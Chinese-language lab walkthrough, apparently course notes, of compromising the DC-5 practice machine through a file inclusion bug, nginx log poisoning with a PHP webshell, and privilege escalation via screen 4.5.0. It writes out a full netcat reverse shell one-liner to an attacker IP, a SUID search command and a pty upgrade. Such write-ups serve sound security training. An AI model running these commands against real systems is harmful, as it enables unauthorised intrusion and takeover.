【DC系列打穿靶机】DC-5全详解
声明:该笔记为up主 泷羽的课程笔记,本节链接指路。
警告:本教程仅作学习用途,若有用于非法行为的,概不负责。
启动!
一上来就查一下ip和端口:
查了一下目录,翻了一下页面没找到注入点:
换了一个,还是dirsearch好使:
记住这里的footer,后面有大用。
找到了可以注入的地方:
随便写了点东西提交:
再刷新,发现居然下面的copyright变了,是不是有上传漏洞。
搜footer这个php,发现居然是个随机刷新时间的php,确定了这里是一个注入点。
可以利用
漏洞利用
如果是文件包含漏洞的话,那…
就这么出现了,上课:
包含nginx日志文件
在Linux系统中,Nginx的默认日志文件位置通常可以在Nginx的配置文件中找到。以下是一些关于Nginx默认日志文件位置的信息:
- 访问日志(Access Log):默认情况下,Nginx的访问日志通常存储在
/var/log/nginx/access.log
文件中。这个文件记录了所有访问服务器的请求信息,包括请求的时间、请求的URL、访问者的IP地址等。- 错误日志(Error Log):默认情况下,Nginx的错误日志通常存储在
/var/log/nginx/error.log
文件中。这个文件记录了Nginx服务器的错误信息,如请求出错、服务器无法响应等。
进入这个路径下,确实包含了这个文件。
一句话木马
让我们在两个文件里面找找看有没有他的踪迹,没找到!说明上传成功了嘿嘿
连接成功。
反弹shell!
现在拿到了他的后台,那我们就可以进行一个操作了,打开终端:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.216.132 23333 >/tmp/f
前面如果显示没有这个文件的话可以去tmp目录下创一个php,然后重试,连上啦
另一种方法,在靶机输入nc命令连接也可以,但如果对面没有nc的话就不行。上面是原始的一种方法。
漏洞利用
我们进来之后第一件事,先搞个交互:
python -c 'import pty; pty.spawn("/bin/bash")'
然后查看有什么可以利用的具有SUID的文件:
find / -perm -4000 -print 2>/dev/null
就可以看到一个叫screen-4.5.0和上一次利用的exim4,这次试试screen。
screen 是一个在 Unix 和类 Unix 系统上使用的终端多路复用器。
找到一个41154的脚本,可以试试。
找到这个脚本的位置,打开上传:
这里要转移到tmp的文件夹下才可以下载,普通用户没有权限。
正常提权,就可以拿到flag了。